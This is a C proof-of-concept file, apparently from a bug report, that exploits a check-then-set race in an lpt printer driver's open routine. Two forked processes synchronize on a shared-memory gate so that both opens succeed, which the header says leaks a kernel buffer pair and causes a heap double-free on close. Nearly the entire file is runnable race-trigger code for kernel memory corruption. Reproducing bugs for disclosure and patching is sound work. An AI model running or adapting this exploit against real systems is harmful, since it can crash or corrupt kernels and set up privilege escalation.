DF-4536 / lpt_openrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | /* * DF-4536 -- lpt.c lptopen() sc_state check-then-set TOCTOU (lpt.c:458-462). * * Two processes spin on a shared-memory gate; when the gate flips both call * open() within microseconds of each other. The unsynchronized * * if (sc->sc_state) return EBUSY; else sc->sc_state |= LPTINIT; * * allows both through: two lptopen() bodies run concurrently, each does * its own kmalloc(BUFSIZE)/kmalloc(BUFSTATSIZE) (the first pair is leaked), * both open()s return 0. Both closes later kfree() the SAME (second) * buffer pair -> heap double-free in the M_LPT zone. * * A round where BOTH opens return success is a confirmed race hit: after * opener 1 returns, sc_state is OPEN|..., so a serialized second open is * impossible. * * ./lpt_openrace <path> <rounds> <gate_ms> * path: /dev/lpt0.ctl (fast, pure-state race) or /dev/lpt0 (full path: * leaks 1024+32 bytes and double-frees on close) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <sys/mman.h> #include <sys/wait.h> struct shm { volatile unsigned long gate; volatile unsigned long stop; unsigned long attempts; unsigned long hits; }; struct res { int ok; int err; }; static void child(const char *path, struct shm *s, int wfd, long hold_us) { struct res r; for (;;) { unsigned long g = s->gate; while (s->gate == g && !s->stop) ; /* spin */ if (s->stop) break; int fd = open(path, O_WRONLY); r.ok = (fd >= 0); r.err = errno; if (write(wfd, &r, sizeof(r)) != sizeof(r)) _exit(9); if (fd >= 0) { /* hold the fd so a *sequential* sibling open is * impossible: any double-success proves overlap */ usleep(hold_us); close(fd); } } _exit(0); } int main(int argc, char **argv) { const char *path1 = (argc > 1) ? argv[1] : "/dev/lpt0"; const char *path2 = (argc > 2) ? argv[2] : path1; long rounds = (argc > 3) ? atol(argv[3]) : 100000; long gate_ms = (argc > 4) ? atol(argv[4]) : 2; long hold_us = (argc > 5) ? atol(argv[5]) : 300000; struct shm *s = mmap(NULL, sizeof(*s), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, -1, 0); if (s == MAP_FAILED) { perror("mmap"); return 2; } int p1[2], p2[2]; if (pipe(p1) || pipe(p2)) { perror("pipe"); return 3; } pid_t c1 = fork(); if (c1 == 0) { close(p1[0]); close(p2[0]); close(p2[1]); child(path1, s, p1[1], hold_us); } pid_t c2 = fork(); if (c2 == 0) { close(p1[0]); close(p1[1]); close(p2[0]); child(path2, s, p2[1], hold_us); } close(p1[1]); close(p2[1]); FILE *f1 = fdopen(p1[0], "r"); FILE *f2 = fdopen(p2[0], "r"); struct res r1, r2; long i; int hit = 0; printf("[*] racing open(\"%s\") vs open(\"%s\"), %ld rounds, gate every %ld ms\n", path1, path2, rounds, gate_ms); fflush(stdout); for (i = 0; i < rounds; i++) { if (usleep(gate_ms * 1000) != 0) break; s->gate++; if (fread(&r1, sizeof(r1), 1, f1) != 1 || fread(&r2, sizeof(r2), 1, f2) != 1) break; if (r1.ok && r2.ok) { hit++; printf("[+] HIT at round %ld: BOTH opens returned 0" " (err1=%d err2=%d) -- concurrent lptopen()!\n", i, r1.err, r2.err); fflush(stdout); } } s->stop = 1; s->gate++; kill(c1, SIGKILL); kill(c2, SIGKILL); waitpid(c1, NULL, 0); waitpid(c2, NULL, 0); printf("[*] done: %ld rounds, %d double-open hits\n", i, hit); return (hit > 0) ? 0 : 1; } |